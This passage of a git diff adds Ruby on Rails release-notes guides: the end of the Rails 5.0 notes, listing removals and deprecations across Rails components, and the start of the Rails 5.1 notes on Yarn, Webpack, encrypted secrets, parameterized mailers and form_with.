`AbstractController::Base::parent_prefixes`. + ([commit](https://github.com/rails/rails/commit/34bcbcf35701ca44be559ff391535c0dd865c333)) + +* Removed `ActionView::Helpers::RecordTagHelper`, this functionality + has been extracted to the + [record_tag_helper](https://github.com/rails/record_tag_helper) gem. + ([Pull Request](https://github.com/rails/rails/pull/18411)) + +* Removed `:rescue_format` option for `translate` helper since it's no longer + supported by I18n. + ([Pull Request](https://github.com/rails/rails/pull/20019)) + +### Notable Changes + +* Changed the default template handler from `ERB` to `Raw`. + ([commit](https://github.com/rails/rails/commit/4be859f0fdf7b3059a28d03c279f03f5938efc80)) + +* Collection rendering can cache and fetches multiple partials at once. + ([Pull Request](https://github.com/rails/rails/pull/18948), + [commit](https://github.com/rails/rails/commit/e93f0f0f133717f9b06b1eaefd3442bd0ff43985)) + +* Added wildcard matching to explicit dependencies. + ([Pull Request](https://github.com/rails/rails/pull/20904)) + +* Make `disable_with` the default behavior for submit tags. Disables the + button on submit to prevent double submits. + ([Pull Request](https://github.com/rails/rails/pull/21135)) + +* Partial template name no longer has to be a valid Ruby identifier. + ([commit](https://github.com/rails/rails/commit/da9038e)) + +* The `datetime_tag` helper now generates an input tag with the type of + `datetime-local`. + ([Pull Request](https://github.com/rails/rails/pull/25469)) + +* Allow blocks while rendering with the `render partial:` helper. + ([Pull Request](https://github.com/rails/rails/pull/17974)) + +Action Mailer +------------- + +Please refer to the [Changelog][action-mailer] for detailed changes. + +### Removals + +* Removed deprecated `*_path` helpers in email views. + ([commit](https://github.com/rails/rails/commit/d282125a18c1697a9b5bb775628a2db239142ac7)) + +* Removed deprecated `deliver` and `deliver!` methods. + ([commit](https://github.com/rails/rails/commit/755dcd0691f74079c24196135f89b917062b0715)) + +### Notable changes + +* Template lookup now respects default locale and I18n fallbacks. + ([commit](https://github.com/rails/rails/commit/ecb1981b)) + +* Added `_mailer` suffix to mailers created via generator, following the same + naming convention used in controllers and jobs. + ([Pull Request](https://github.com/rails/rails/pull/18074)) + +* Added `assert_enqueued_emails` and `assert_no_enqueued_emails`. + ([Pull Request](https://github.com/rails/rails/pull/18403)) + +* Added `config.action_mailer.deliver_later_queue_name` configuration to set + the mailer queue name. + ([Pull Request](https://github.com/rails/rails/pull/18587)) + +* Added support for fragment caching in Action Mailer views. + Added new config option `config.action_mailer.perform_caching` to determine + whether your templates should perform caching or not. + ([Pull Request](https://github.com/rails/rails/pull/22825)) + + +Active Record +------------- + +Please refer to the [Changelog][active-record] for detailed changes. + +### Removals + +* Removed deprecated behavior allowing nested arrays to be passed as query + values. ([Pull Request](https://github.com/rails/rails/pull/17919)) + +* Removed deprecated `ActiveRecord::Tasks::DatabaseTasks#load_schema`. This + method was replaced by `ActiveRecord::Tasks::DatabaseTasks#load_schema_for`. + ([commit](https://github.com/rails/rails/commit/ad783136d747f73329350b9bb5a5e17c8f8800da)) + +* Removed deprecated `serialized_attributes`. + ([commit](https://github.com/rails/rails/commit/82043ab53cb186d59b1b3be06122861758f814b2)) + +* Removed deprecated automatic counter caches on `has_many :through`. + ([commit](https://github.com/rails/rails/commit/87c8ce340c6c83342df988df247e9035393ed7a0)) + +* Removed deprecated `sanitize_sql_hash_for_conditions`. + ([commit](https://github.com/rails/rails/commit/3a59dd212315ebb9bae8338b98af259ac00bbef3)) + +* Removed deprecated `Reflection#source_macro`. + ([commit](https://github.com/rails/rails/commit/ede8c199a85cfbb6457d5630ec1e285e5ec49313)) + +* Removed deprecated `symbolized_base_class` and `symbolized_sti_name`. + ([commit](https://github.com/rails/rails/commit/9013e28e52eba3a6ffcede26f85df48d264b8951)) + +* Removed deprecated `ActiveRecord::Base.disable_implicit_join_references=`. + ([commit](https://github.com/rails/rails/commit/0fbd1fc888ffb8cbe1191193bf86933110693dfc)) + +* Removed deprecated access to connection specification using a string accessor. + ([commit](https://github.com/rails/rails/commit/efdc20f36ccc37afbb2705eb9acca76dd8aabd4f)) + +* Removed deprecated support to preload instance-dependent associations. + ([commit](https://github.com/rails/rails/commit/4ed97979d14c5e92eb212b1a629da0a214084078)) + +* Removed deprecated support for PostgreSQL ranges with exclusive lower bounds. + ([commit](https://github.com/rails/rails/commit/a076256d63f64d194b8f634890527a5ed2651115)) + +* Removed deprecation when modifying a relation with cached Arel. + This raises an `ImmutableRelation` error instead. + ([commit](https://github.com/rails/rails/commit/3ae98181433dda1b5e19910e107494762512a86c)) + +* Removed `ActiveRecord::Serialization::XmlSerializer` from core. This feature + has been extracted into the + [activemodel-serializers-xml](https://github.com/rails/activemodel-serializers-xml) + gem. ([Pull Request](https://github.com/rails/rails/pull/21161)) + +* Removed support for the legacy `mysql` database adapter from core. Most users should + be able to use `mysql2`. It will be converted to a separate gem when we find someone + to maintain it. ([Pull Request 1](https://github.com/rails/rails/pull/22642), + [Pull Request 2](https://github.com/rails/rails/pull/22715)) + +* Removed support for the `protected_attributes` gem. + ([commit](https://github.com/rails/rails/commit/f4fbc0301021f13ae05c8e941c8efc4ae351fdf9)) + +* Removed support for PostgreSQL versions below 9.1. + ([Pull Request](https://github.com/rails/rails/pull/23434)) + +* Removed support for `activerecord-deprecated_finders` gem. + ([commit](https://github.com/rails/rails/commit/78dab2a8569408658542e462a957ea5a35aa4679)) + +* Removed `ActiveRecord::ConnectionAdapters::Column::TRUE_VALUES` constant. + ([commit](https://github.com/rails/rails/commit/a502703c3d2151d4d3b421b29fefdac5ad05df61)) + +### Deprecations + +* Deprecated passing a class as a value in a query. Users should pass strings + instead. ([Pull Request](https://github.com/rails/rails/pull/17916)) + +* Deprecated returning `false` as a way to halt Active Record callback + chains. The recommended way is to + `throw(:abort)`. ([Pull Request](https://github.com/rails/rails/pull/17227)) + +* Deprecated `ActiveRecord::Base.errors_in_transactional_callbacks=`. + ([commit](https://github.com/rails/rails/commit/07d3d402341e81ada0214f2cb2be1da69eadfe72)) + +* Deprecated `Relation#uniq` use `Relation#distinct` instead. + ([commit](https://github.com/rails/rails/commit/adfab2dcf4003ca564d78d4425566dd2d9cd8b4f)) + +* Deprecated the PostgreSQL `:point` type in favor of a new one which will return + `Point` objects instead of an `Array` + ([Pull Request](https://github.com/rails/rails/pull/20448)) + +* Deprecated force association reload by passing a truthy argument to + association method. + ([Pull Request](https://github.com/rails/rails/pull/20888)) + +* Deprecated the keys for association `restrict_dependent_destroy` errors in favor + of new key names. + ([Pull Request](https://github.com/rails/rails/pull/20668)) + +* Synchronize behavior of `#tables`. + ([Pull Request](https://github.com/rails/rails/pull/21601)) + +* Deprecated `SchemaCache#tables`, `SchemaCache#table_exists?` and + `SchemaCache#clear_table_cache!` in favor of their new data source + counterparts. + ([Pull Request](https://github.com/rails/rails/pull/21715)) + +* Deprecated `connection.tables` on the SQLite3 and MySQL adapters. + ([Pull Request](https://github.com/rails/rails/pull/21601)) + +* Deprecated passing arguments to `#tables` - the `#tables` method of some + adapters (mysql2, sqlite3) would return both tables and views while others + (postgresql) just return tables. To make their behavior consistent, + `#tables` will return only tables in the future. + ([Pull Request](https://github.com/rails/rails/pull/21601)) + +* Deprecated `table_exists?` - The `#table_exists?` method would check both + tables and views. To make their behavior consistent with `#tables`, + `#table_exists?` will check only tables in the future. + ([Pull Request](https://github.com/rails/rails/pull/21601)) + +* Deprecate sending the `offset` argument to `find_nth`. Please use the + `offset` method on relation instead. + ([Pull Request](https://github.com/rails/rails/pull/22053)) + +* Deprecated `{insert|update|delete}_sql` in `DatabaseStatements`. + Use the `{insert|update|delete}` public methods instead. + ([Pull Request](https://github.com/rails/rails/pull/23086)) + +* Deprecated `use_transactional_fixtures` in favor of + `use_transactional_tests` for more clarity. + ([Pull Request](https://github.com/rails/rails/pull/19282)) + +* Deprecated passing a column to `ActiveRecord::Connection#quote`. + ([commit](https://github.com/rails/rails/commit/7bb620869725ad6de603f6a5393ee17df13aa96c)) + +* Added an option `end` to `find_in_batches` that complements the `start` + parameter to specify where to stop batch processing. + ([Pull Request](https://github.com/rails/rails/pull/12257)) + + +### Notable changes + +* Added a `foreign_key` option to `references` while creating the table. + ([commit](https://github.com/rails/rails/commit/99a6f9e60ea55924b44f894a16f8de0162cf2702)) + +* New attributes + API. ([commit](https://github.com/rails/rails/commit/8c752c7ac739d5a86d4136ab1e9d0142c4041e58)) + +* Added `:_prefix`/`:_suffix` option to `enum` definition. + ([Pull Request](https://github.com/rails/rails/pull/19813), + [Pull Request](https://github.com/rails/rails/pull/20999)) + +* Added `#cache_key` to `ActiveRecord::Relation`. + ([Pull Request](https://github.com/rails/rails/pull/20884)) + +* Changed the default `null` value for `timestamps` to `false`. + ([commit](https://github.com/rails/rails/commit/a939506f297b667291480f26fa32a373a18ae06a)) + +* Added `ActiveRecord::SecureToken` in order to encapsulate generation of + unique tokens for attributes in a model using `SecureRandom`. + ([Pull Request](https://github.com/rails/rails/pull/18217)) + +* Added `:if_exists` option for `drop_table`. + ([Pull Request](https://github.com/rails/rails/pull/18597)) + +* Added `ActiveRecord::Base#accessed_fields`, which can be used to quickly + discover which fields were read from a model when you are looking to only + select the data you need from the database. + ([commit](https://github.com/rails/rails/commit/be9b68038e83a617eb38c26147659162e4ac3d2c)) + +* Added the `#or` method on `ActiveRecord::Relation`, allowing use of the OR + operator to combine WHERE or HAVING clauses. + ([commit](https://github.com/rails/rails/commit/b0b37942d729b6bdcd2e3178eda7fa1de203b3d0)) + +* Added `ActiveRecord::Base.suppress` to prevent the receiver from being saved + during the given block. + ([Pull Request](https://github.com/rails/rails/pull/18910)) + +* `belongs_to` will now trigger a validation error by default if the + association is not present. You can turn this off on a per-association basis + with `optional: true`. Also deprecate `required` option in favor of `optional` + for `belongs_to`. + ([Pull Request](https://github.com/rails/rails/pull/18937)) + +* Added `config.active_record.dump_schemas` to configure the behavior of + `db:structure:dump`. + ([Pull Request](https://github.com/rails/rails/pull/19347)) + +* Added `config.active_record.warn_on_records_fetched_greater_than` option. + ([Pull Request](https://github.com/rails/rails/pull/18846)) + +* Added a native JSON data type support in MySQL. + ([Pull Request](https://github.com/rails/rails/pull/21110)) + +* Added support for dropping indexes concurrently in PostgreSQL. + ([Pull Request](https://github.com/rails/rails/pull/21317)) + +* Added `#views` and `#view_exists?` methods on connection adapters. + ([Pull Request](https://github.com/rails/rails/pull/21609)) + +* Added `ActiveRecord::Base.ignored_columns` to make some columns + invisible from Active Record. + ([Pull Request](https://github.com/rails/rails/pull/21720)) + +* Added `connection.data_sources` and `connection.data_source_exists?`. + These methods determine what relations can be used to back Active Record + models (usually tables and views). + ([Pull Request](https://github.com/rails/rails/pull/21715)) + +* Allow fixtures files to set the model class in the YAML file itself. + ([Pull Request](https://github.com/rails/rails/pull/20574)) + +* Added ability to default to `uuid` as primary key when generating database + migrations. ([Pull Request](https://github.com/rails/rails/pull/21762)) + +* Added `ActiveRecord::Relation#left_joins` and + `ActiveRecord::Relation#left_outer_joins`. + ([Pull Request](https://github.com/rails/rails/pull/12071)) + +* Added `after_{create,update,delete}_commit` callbacks. + ([Pull Request](https://github.com/rails/rails/pull/22516)) + +* Version the API presented to migration classes, so we can change parameter + defaults without breaking existing migrations, or forcing them to be + rewritten through a deprecation cycle. + ([Pull Request](https://github.com/rails/rails/pull/21538)) + +* `ApplicationRecord` is a new superclass for all app models, analogous to app + controllers subclassing `ApplicationController` instead of + `ActionController::Base`. This gives apps a single spot to configure app-wide + model behavior. + ([Pull Request](https://github.com/rails/rails/pull/22567)) + +* Added ActiveRecord `#second_to_last` and `#third_to_last` methods. + ([Pull Request](https://github.com/rails/rails/pull/23583)) + +* Added ability to annotate database objects (tables, columns, indexes) + with comments stored in database metadata for PostgreSQL & MySQL. + ([Pull Request](https://github.com/rails/rails/pull/22911)) + +* Added prepared statements support to `mysql2` adapter, for mysql2 0.4.4+, + Previously this was only supported on the deprecated `mysql` legacy adapter. + To enable, set `prepared_statements: true` in `config/database.yml`. + ([Pull Request](https://github.com/rails/rails/pull/23461)) + +* Added ability to call `ActionRecord::Relation#update` on relation objects + which will run validations on callbacks on all objects in the relation. + ([Pull Request](https://github.com/rails/rails/pull/11898)) + +* Added `:touch` option to the `save` method so that records can be saved without + updating timestamps. + ([Pull Request](https://github.com/rails/rails/pull/18225)) + +* Added expression indexes and operator classes support for PostgreSQL. + ([commit](https://github.com/rails/rails/commit/edc2b7718725016e988089b5fb6d6fb9d6e16882)) + +* Added `:index_errors` option to add indexes to errors of nested attributes. + ([Pull Request](https://github.com/rails/rails/pull/19686)) + +* Added support for bidirectional destroy dependencies. + ([Pull Request](https://github.com/rails/rails/pull/18548)) + +* Added support for `after_commit` callbacks in transactional tests. + ([Pull Request](https://github.com/rails/rails/pull/18458)) + +* Added `foreign_key_exists?` method to see if a foreign key exists on a table + or not. + ([Pull Request](https://github.com/rails/rails/pull/18662)) + +* Added `:time` option to `touch` method to touch records with different time + than the current time. + ([Pull Request](https://github.com/rails/rails/pull/18956)) + +* Change transaction callbacks to not swallow errors. + Before this change any errors raised inside a transaction callback + were getting rescued and printed in the logs, unless you used + the (newly deprecated) `raise_in_transactional_callbacks = true` option. + + Now these errors are not rescued anymore and just bubble up, matching the + behavior of other callbacks. + ([commit](https://github.com/rails/rails/commit/07d3d402341e81ada0214f2cb2be1da69eadfe72)) + +Active Model +------------ + +Please refer to the [Changelog][active-model] for detailed changes. + +### Removals + +* Removed deprecated `ActiveModel::Dirty#reset_#{attribute}` and + `ActiveModel::Dirty#reset_changes`. + ([Pull Request](https://github.com/rails/rails/commit/37175a24bd508e2983247ec5d011d57df836c743)) + +* Removed XML serialization. This feature has been extracted into the + [activemodel-serializers-xml](https://github.com/rails/activemodel-serializers-xml) gem. + ([Pull Request](https://github.com/rails/rails/pull/21161)) + +* Removed `ActionController::ModelNaming` module. + ([Pull Request](https://github.com/rails/rails/pull/18194)) + +### Deprecations + +* Deprecated returning `false` as a way to halt Active Model and + `ActiveModel::Validations` callback chains. The recommended way is to + `throw(:abort)`. ([Pull Request](https://github.com/rails/rails/pull/17227)) + +* Deprecated `ActiveModel::Errors#get`, `ActiveModel::Errors#set` and + `ActiveModel::Errors#[]=` methods that have inconsistent behavior. + ([Pull Request](https://github.com/rails/rails/pull/18634)) + +* Deprecated the `:tokenizer` option for `validates_length_of`, in favor of + plain Ruby. + ([Pull Request](https://github.com/rails/rails/pull/19585)) + +* Deprecated `ActiveModel::Errors#add_on_empty` and `ActiveModel::Errors#add_on_blank` + with no replacement. + ([Pull Request](https://github.com/rails/rails/pull/18996)) + +### Notable changes + +* Added `ActiveModel::Errors#details` to determine what validator has failed. + ([Pull Request](https://github.com/rails/rails/pull/18322)) + +* Extracted `ActiveRecord::AttributeAssignment` to `ActiveModel::AttributeAssignment` + allowing to use it for any object as an includable module. + ([Pull Request](https://github.com/rails/rails/pull/10776)) + +* Added `ActiveModel::Dirty#[attr_name]_previously_changed?` and + `ActiveModel::Dirty#[attr_name]_previous_change` to improve access + to recorded changes after the model has been saved. + ([Pull Request](https://github.com/rails/rails/pull/19847)) + +* Validate multiple contexts on `valid?` and `invalid?` at once. + ([Pull Request](https://github.com/rails/rails/pull/21069)) + +* Change `validates_acceptance_of` to accept `true` as default value + apart from `1`. + ([Pull Request](https://github.com/rails/rails/pull/18439)) + +Active Job +----------- + +Please refer to the [Changelog][active-job] for detailed changes. + +### Notable changes + +* `ActiveJob::Base.deserialize` delegates to the job class. This allows jobs + to attach arbitrary metadata when they get serialized and read it back when + they get performed. + ([Pull Request](https://github.com/rails/rails/pull/18260)) + +* Add ability to configure the queue adapter on a per job basis without + affecting each other. + ([Pull Request](https://github.com/rails/rails/pull/16992)) + +* A generated job now inherits from `app/jobs/application_job.rb` by default. + ([Pull Request](https://github.com/rails/rails/pull/19034)) + +* Allow `DelayedJob`, `Sidekiq`, `qu`, `que`, and `queue_classic` to report + the job id back to `ActiveJob::Base` as `provider_job_id`. + ([Pull Request](https://github.com/rails/rails/pull/20064), + [Pull Request](https://github.com/rails/rails/pull/20056), + [commit](https://github.com/rails/rails/commit/68e3279163d06e6b04e043f91c9470e9259bbbe0)) + +* Implement a simple `AsyncJob` processor and associated `AsyncAdapter` that + queue jobs to a `concurrent-ruby` thread pool. + ([Pull Request](https://github.com/rails/rails/pull/21257)) + +* Change the default adapter from inline to async. It's a better default as + tests will then not mistakenly come to rely on behavior happening + synchronously. + ([commit](https://github.com/rails/rails/commit/625baa69d14881ac49ba2e5c7d9cac4b222d7022)) + +Active Support +-------------- + +Please refer to the [Changelog][active-support] for detailed changes. + +### Removals + +* Removed deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`. + ([commit](https://github.com/rails/rails/commit/d6e06ea8275cdc3f126f926ed9b5349fde374b10)) + +* Removed deprecated methods `ActiveSupport::JSON::Encoding.encode_big_decimal_as_string=` + and `ActiveSupport::JSON::Encoding.encode_big_decimal_as_string`. + ([commit](https://github.com/rails/rails/commit/c8019c0611791b2716c6bed48ef8dcb177b7869c)) + +* Removed deprecated `ActiveSupport::SafeBuffer#prepend`. + ([commit](https://github.com/rails/rails/commit/e1c8b9f688c56aaedac9466a4343df955b4a67ec)) + +* Removed deprecated methods from `Kernel`. `silence_stderr`, `silence_stream`, + `capture` and `quietly`. + ([commit](https://github.com/rails/rails/commit/481e49c64f790e46f4aff3ed539ed227d2eb46cb)) + +* Removed deprecated `active_support/core_ext/big_decimal/yaml_conversions` + file. + ([commit](https://github.com/rails/rails/commit/98ea19925d6db642731741c3b91bd085fac92241)) + +* Removed deprecated methods `ActiveSupport::Cache::Store.instrument` and + `ActiveSupport::Cache::Store.instrument=`. + ([commit](https://github.com/rails/rails/commit/a3ce6ca30ed0e77496c63781af596b149687b6d7)) + +* Removed deprecated `Class#superclass_delegating_accessor`. + Use `Class#class_attribute` instead. + ([Pull Request](https://github.com/rails/rails/pull/16938)) + +* Removed deprecated `ThreadSafe::Cache`. Use `Concurrent::Map` instead. + ([Pull Request](https://github.com/rails/rails/pull/21679)) + +* Removed `Object#itself` as it is implemented in Ruby 2.2. + ([Pull Request](https://github.com/rails/rails/pull/18244)) + +### Deprecations + +* Deprecated `MissingSourceFile` in favor of `LoadError`. + ([commit](https://github.com/rails/rails/commit/734d97d2)) + +* Deprecated `alias_method_chain` in favour of `Module#prepend` introduced in + Ruby 2.0. + ([Pull Request](https://github.com/rails/rails/pull/19434)) + +* Deprecated `ActiveSupport::Concurrency::Latch` in favor of + `Concurrent::CountDownLatch` from concurrent-ruby. + ([Pull Request](https://github.com/rails/rails/pull/20866)) + +* Deprecated `:prefix` option of `number_to_human_size` with no replacement. + ([Pull Request](https://github.com/rails/rails/pull/21191)) + +* Deprecated `Module#qualified_const_` in favour of the builtin + `Module#const_` methods. + ([Pull Request](https://github.com/rails/rails/pull/17845)) + +* Deprecated passing string to define callback. + ([Pull Request](https://github.com/rails/rails/pull/22598)) + +* Deprecated `ActiveSupport::Cache::Store#namespaced_key`, + `ActiveSupport::Cache::MemCachedStore#escape_key`, and + `ActiveSupport::Cache::FileStore#key_file_path`. + Use `normalize_key` instead. + ([Pull Request](https://github.com/rails/rails/pull/22215), + [commit](https://github.com/rails/rails/commit/a8f773b0)) + +* Deprecated `ActiveSupport::Cache::LocaleCache#set_cache_value` in favor of `write_cache_value`. + ([Pull Request](https://github.com/rails/rails/pull/22215)) + +* Deprecated passing arguments to `assert_nothing_raised`. + ([Pull Request](https://github.com/rails/rails/pull/23789)) + +* Deprecated `Module.local_constants` in favor of `Module.constants(false)`. + ([Pull Request](https://github.com/rails/rails/pull/23936)) + + +### Notable changes + +* Added `#verified` and `#valid_message?` methods to + `ActiveSupport::MessageVerifier`. + ([Pull Request](https://github.com/rails/rails/pull/17727)) + +* Changed the way in which callback chains can be halted. The preferred method + to halt a callback chain from now on is to explicitly `throw(:abort)`. + ([Pull Request](https://github.com/rails/rails/pull/17227)) + +* New config option + `config.active_support.halt_callback_chains_on_return_false` to specify + whether ActiveRecord, ActiveModel, and ActiveModel::Validations callback + chains can be halted by returning `false` in a 'before' callback. + ([Pull Request](https://github.com/rails/rails/pull/17227)) + +* Changed the default test order from `:sorted` to `:random`. + ([commit](https://github.com/rails/rails/commit/5f777e4b5ee2e3e8e6fd0e2a208ec2a4d25a960d)) + +* Added `#on_weekend?`, `#on_weekday?`, `#next_weekday`, `#prev_weekday` methods to `Date`, + `Time`, and `DateTime`. + ([Pull Request](https://github.com/rails/rails/pull/18335), + [Pull Request](https://github.com/rails/rails/pull/23687)) + +* Added `same_time` option to `#next_week` and `#prev_week` for `Date`, `Time`, + and `DateTime`. + ([Pull Request](https://github.com/rails/rails/pull/18335)) + +* Added `#prev_day` and `#next_day` counterparts to `#yesterday` and + `#tomorrow` for `Date`, `Time`, and `DateTime`. + ([Pull Request](https://github.com/rails/rails/pull/18335)) + +* Added `SecureRandom.base58` for generation of random base58 strings. + ([commit](https://github.com/rails/rails/commit/b1093977110f18ae0cafe56c3d99fc22a7d54d1b)) + +* Added `file_fixture` to `ActiveSupport::TestCase`. + It provides a simple mechanism to access sample files in your test cases. + ([Pull Request](https://github.com/rails/rails/pull/18658)) + +* Added `#without` on `Enumerable` and `Array` to return a copy of an + enumerable without the specified elements. + ([Pull Request](https://github.com/rails/rails/pull/19157)) + +* Added `ActiveSupport::ArrayInquirer` and `Array#inquiry`. + ([Pull Request](https://github.com/rails/rails/pull/18939)) + +* Added `ActiveSupport::TimeZone#strptime` to allow parsing times as if + from a given timezone. + ([commit](https://github.com/rails/rails/commit/a5e507fa0b8180c3d97458a9b86c195e9857d8f6)) + +* Added `Integer#positive?` and `Integer#negative?` query methods + in the vein of `Integer#zero?`. + ([commit](https://github.com/rails/rails/commit/e54277a45da3c86fecdfa930663d7692fd083daa)) + +* Added a bang version to `ActiveSupport::OrderedOptions` get methods which will raise + an `KeyError` if the value is `.blank?`. + ([Pull Request](https://github.com/rails/rails/pull/20208)) + +* Added `Time.days_in_year` to return the number of days in the given year, or the + current year if no argument is provided. + ([commit](https://github.com/rails/rails/commit/2f4f4d2cf1e4c5a442459fc250daf66186d110fa)) + +* Added an evented file watcher to asynchronously detect changes in the + application source code, routes, locales, etc. + ([Pull Request](https://github.com/rails/rails/pull/22254)) + +* Added thread_m/cattr_accessor/reader/writer suite of methods for declaring + class and module variables that live per-thread. + ([Pull Request](https://github.com/rails/rails/pull/22630)) + +* Added `Array#second_to_last` and `Array#third_to_last` methods. + ([Pull Request](https://github.com/rails/rails/pull/23583)) + +* Publish `ActiveSupport::Executor` and `ActiveSupport::Reloader` APIs to allow + components and libraries to manage, and participate in, the execution of + application code, and the application reloading process. + ([Pull Request](https://github.com/rails/rails/pull/23807)) + +* `ActiveSupport::Duration` now supports ISO8601 formatting and parsing. + ([Pull Request](https://github.com/rails/rails/pull/16917)) + +* `ActiveSupport::JSON.decode` now supports parsing ISO8601 local times when + `parse_json_times` is enabled. + ([Pull Request](https://github.com/rails/rails/pull/23011)) + +* `ActiveSupport::JSON.decode` now return `Date` objects for date strings. + ([Pull Request](https://github.com/rails/rails/pull/23011)) + +* Added ability to `TaggedLogging` to allow loggers to be instantiated multiple + times so that they don't share tags with each other. + ([Pull Request](https://github.com/rails/rails/pull/9065)) + +Credits +------- + +See the +[full list of contributors to Rails](http://contributors.rubyonrails.org/) for +the many people who spent many hours making Rails, the stable and robust +framework it is. Kudos to all of them. + +[railties]: https://github.com/rails/rails/blob/5-0-stable/railties/CHANGELOG.md +[action-pack]: https://github.com/rails/rails/blob/5-0-stable/actionpack/CHANGELOG.md +[action-view]: https://github.com/rails/rails/blob/5-0-stable/actionview/CHANGELOG.md +[action-mailer]: https://github.com/rails/rails/blob/5-0-stable/actionmailer/CHANGELOG.md +[action-cable]: https://github.com/rails/rails/blob/5-0-stable/actioncable/CHANGELOG.md +[active-record]: https://github.com/rails/rails/blob/5-0-stable/activerecord/CHANGELOG.md +[active-model]: https://github.com/rails/rails/blob/5-0-stable/activemodel/CHANGELOG.md +[active-support]: https://github.com/rails/rails/blob/5-0-stable/activesupport/CHANGELOG.md +[active-job]: https://github.com/rails/rails/blob/5-0-stable/activejob/CHANGELOG.md diff --git a/guides/source/5_1_release_notes.md b/guides/source/5_1_release_notes.md new file mode 100644 index 0000000000..a5a7eb4b2e --- /dev/null +++ b/guides/source/5_1_release_notes.md @@ -0,0 +1,659 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Ruby on Rails 5.1 Release Notes +=============================== + +Highlights in Rails 5.1: + +* Yarn Support +* Optional Webpack support +* jQuery no longer a default dependency +* System tests +* Encrypted secrets +* Parameterized mailers +* Direct & resolved routes +* Unification of form_for and form_tag into form_with + +These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the [list of +commits](https://github.com/rails/rails/commits/5-1-stable) in the main Rails +repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 5.1 +---------------------- + +If you're upgrading an existing application, it's a great idea to have good test +coverage before going in. You should also first upgrade to Rails 5.0 in case you +haven't and make sure your application still runs as expected before attempting +an update to Rails 5.1. A list of things to watch out for when upgrading is +available in the +[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-5-0-to-rails-5-1) +guide. + + +Major Features +-------------- + +### Yarn Support + +[Pull Request](https://github.com/rails/rails/pull/26836) + +Rails 5.1 allows managing JavaScript dependencies +from NPM via Yarn. This will make it easy to use libraries like React, VueJS +or any other library from NPM world. The Yarn support is integrated with +the asset pipeline so that all dependencies will work seamlessly with the +Rails 5.1 app. + +### Optional Webpack support + +[Pull Request](https://github.com/rails/rails/pull/27288) + +Rails apps can integrate with [Webpack](https://webpack.js.org/), a JavaScript +asset bundler, more easily using the new [Webpacker](https://github.com/rails/webpacker) +gem. Use the `--webpack` flag when generating new applications to enable Webpack +integration. + +This is fully compatible with the asset pipeline, which you can continue to use for +images, fonts, sounds, and other assets. You can even have some JavaScript code +managed by the asset pipeline, and other code processed via Webpack. All of this is managed +by Yarn, which is enabled by default. + +### jQuery no longer a default dependency + +[Pull Request](https://github.com/rails/rails/pull/27113) + +jQuery was required by default in earlier versions of Rails to provide features +like `data-remote`, `data-confirm` and other parts of Rails' Unobtrusive JavaScript +offerings. It is no longer required, as the UJS has been rewritten to use plain, +vanilla JavaScript. This code now ships inside of Action View as +`rails-ujs`. + +You can still use jQuery if needed, but it is no longer required by default. + +### System tests + +[Pull Request](https://github.com/rails/rails/pull/26703) + +Rails 5.1 has baked-in support for writing Capybara tests, in the form of +System tests. You no longer need to worry about configuring Capybara and +database cleaning strategies for such tests. Rails 5.1 provides a wrapper +for running tests in Chrome with additional features such as failure +screenshots. + +### Encrypted secrets + +[Pull Request](https://github.com/rails/rails/pull/28038) + +Rails now allows management of application secrets in a secure way, +inspired by the [sekrets](https://github.com/ahoward/sekrets) gem. + +Run `bin/rails secrets:setup` to setup a new encrypted secrets file. This will +also generate a master key, which must be stored outside of the repository. The +secrets themselves can then be safely checked into the revision control system, +in an encrypted form. + +Secrets will be decrypted in production, using a key stored either in the +`RAILS_MASTER_KEY` environment variable, or in a key file. + +### Parameterized mailers + +[Pull Request](https://github.com/rails/rails/pull/27825) + +Allows specifying common parameters used for all methods in a mailer class in +order to share instance variables, headers, and other common setup. + +``` ruby +class InvitationsMailer < ApplicationMailer + before_action { @inviter, @invitee = params[:inviter], params[:invitee] } + before_action { @account = params[:inviter].account } + + def account_invitation + mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})" + end +end + +InvitationsMailer.with(inviter: person_a, invitee: person_b) + .account_invitation.deliver_later +``` + +### Direct & resolved routes + +[Pull Request](https://github.com/rails/rails/pull/23138) + +Rails 5.1 adds two new methods, `resolve` and `direct`, to the routing +DSL. The `resolve` method allows customizing polymorphic mapping of models. + +``` ruby +resource :basket + +resolve("Basket") { [:basket] } +``` + +``` erb +<%= form_for @basket do |form| %> + <!-- basket form --> +<% end %> +``` + +This will generate the singular URL `/basket` instead of the usual `/baskets/:id`. + +The `direct` method allows creation of custom URL helpers. + +``` ruby +direct(:homepage) { "http://www.rubyonrails.org" } + +>> homepage_url +=> "http://www.rubyonrails.org" +``` + +The return value of the block must be a valid argument for the `url_for` +method. So, you can pass a valid string URL, Hash, Array, an +Active Model instance, or an Active Model class. + +``` ruby +direct :commentable do |model| + [ model, anchor: model.dom_id ] +end + +direct :main do + { controller: 'pages', action: 'index', subdomain: 'www' } +end +``` + +### Unification of form_for and form_tag into form_with + +[Pull Request](https://github.com/rails/rails/pull/26976) + +Before Rails 5.1, there were two interfaces for handling HTML forms: +`form_for` for model instances and `form_tag` for custom URLs. + +Rails 5.1 combines both of these interfaces with `form_with`, and +can generate form tags based on URLs, scopes, or models. + +Using just a URL: + +``` erb +<%= form_with url: posts_path do |form| %> + <%= form.text_field :title %> +<% end %> + +<%# Will generate %> + +<form action="/posts" method="post" data-remote="true"> + <input type="text" name="title"> +</form> +``` + +Adding a scope prefixes the input field names: + +``` erb +<%= form_with scope: :post, url: posts_path do |form| %> + <%= form.text_field :title %> +<% end %> + +<%# Will generate %> + +<form action="/posts" method="post" data-remote="true"> + <input type="text" name="post[title]"> +</form> +``` + +Using a model infers both the URL and scope: + +``` erb +<%= form_with model: Post.new do |form| %> + <%= form.text_field :title %> +<% end %> + +<%# Will generate %> + +<form action="/posts" method="post" data-remote="true"> + <input type="text" name="post[title]"> +</form> +``` + +An existing model makes an update form and fills out field values: + +``` erb +<%= form_with model: Post.first do |form| %> + <%= form.text_field :title %> +<% end %> + +<%# Will generate %> + +<form action="/posts/1" method="post" data-remote="true"> + <input type="hidden" name="_method" value="patch"> + <input type="text" name="post[title]" value="<the title of the post>"> +</form> +``` + +Incompatibilities +----------------- + +The following changes may require immediate action upon upgrade. + +### Transactional tests with multiple connections + +Transactional tests now wrap all Active Record connections in database 